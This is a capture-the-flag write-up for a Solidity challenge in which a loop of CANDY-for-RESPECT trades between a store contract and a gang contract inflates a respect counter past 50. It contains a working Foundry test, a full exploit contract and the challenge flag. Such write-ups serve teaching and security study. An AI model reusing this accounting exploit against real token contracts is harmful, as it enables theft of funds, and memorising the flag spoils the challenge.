infinite
The Setup contract deploys three tokens, a store, and a gang. We start broke and apparently disrespected; the win condition is to make the store record at least 50 respect for our address.
function isSolved() public view returns (bool) {
return STORE.respectCount(CREW.receiver()) >= 50;
}
The CREW contract gives out one token exactly once. It also records the receiver, which is why the solve check is tied to the address that claims it.
function mint() external {
require(!claimed, "already claimed");
receiver = msg.sender;
claimed = true;
_mint(receiver, 1);
}
That CREW token can be approved and transferred to fancyStore.verification(). In return, the store mints ten CANDY tokens.
function verification() public payable {
require(crew.balanceOf(msg.sender) == 1);
require(crew.allowance(msg.sender, address(this)) == 1);
crew.transferFrom(msg.sender, address(this), 1);
candy.mint(msg.sender, 10);
}
Now we need a way to turn ten candy into fifty recorded respect. Two functions in the store modify respectCount. respectIncreasesWithTime() looks tempting, but it tries to mint RESPECT even though Setup transferred ownership of that token to the gang, not the store. The call would revert, so waiting a day does not help.
function respectIncreasesWithTime() public {
require(block.timestamp - timestamp[msg.sender] >= 1 days);
uint reward = respectCount[msg.sender] / 10;
respectCount[msg.sender] += reward;
respect.mint(msg.sender, reward); // store is not the owner
}
The useful store function is buyCandies(). It takes RESPECT, adds the same amount to a separate counter and mints that amount of CANDY.
function buyCandies(uint _respectCount) public payable {
require(_respectCount != 0);
require(respect.balanceOf(msg.sender) >= _respectCount);
require(respect.allowance(msg.sender, address(this)) >= _respectCount);
respectCount[msg.sender] += _respectCount;
respect.transferFrom(msg.sender, address(this), _respectCount);
timestamp[msg.sender] = block.timestamp;
candy.mint(msg.sender, _respectCount);
}
The localGang contract performs the reverse exchange. It takes our CANDY and, because it owns the RESPECT token, mints the same amount of RESPECT.
function gainRespect(uint _candyCount) public payable {
require(_candyCount != 0);
require(candy.balanceOf(msg.sender) >= _candyCount);
require(candy.allowance(msg.sender, address(this)) >= _candyCount);
candyCount[msg.sender] += _candyCount;
candy.transferFrom(msg.sender, address(this), _candyCount);
respect.mint(msg.sender, _candyCount);
}
Together these functions create the infinite loop from the challenge name:
- Trade ten CANDY to the gang for ten RESPECT.
- Trade ten RESPECT to the store for ten CANDY.
- Keep the ten-point increase in
respectCount.
After one cycle our token balances are back where they started, but the accounting counter has increased. Five cycles are enough to reach 50.
I verified the idea in a Foundry test before touching the remote instance.
function testExploit() public {
vm.startPrank(attacker);
CREW.mint();
CREW.approve(address(STORE), 1);
STORE.verification();
CANDY.approve(address(GANG), type(uint256).max);
RESPECT.approve(address(STORE), type(uint256).max);
for (uint256 i; i < 5; ++i) {
GANG.gainRespect(10);
STORE.buyCandies(10);
}
assertEq(setupContract.isSolved(), true);
}
$ forge test --match-path test/test.t.sol -vv
[PASS] testExploit()
attacker candy : 10
attacker respect : 0
attacker respectCount: 50
The final exploit contract repeats the tested sequence against the supplied Setup address. Deploying a contract is convenient here because all approvals and five exchange cycles happen in one transaction.
function exploit(address setupAddr) public {
Setup setup = Setup(setupAddr);
crewToken crew = setup.CREW();
respectToken respect = setup.RESPECT();
candyToken candy = setup.CANDY();
fancyStore store = setup.STORE();
localGang gang = setup.GANG();
crew.mint();
crew.approve(address(store), 1);
store.verification();
candy.approve(address(gang), type(uint256).max);
respect.approve(address(store), type(uint256).max);
for (uint256 i; i < 5; ++i) {
gang.gainRespect(10);
store.buyCandies(10);
}
}
After deployment and one call to exploit(SETUP), the remote check returns true.
$ cast call SETUP "isSolved()(bool)" --rpc-url RPC
true
crew{inf1nt3_c4n9i3s_1nfinit3_r3s9ect}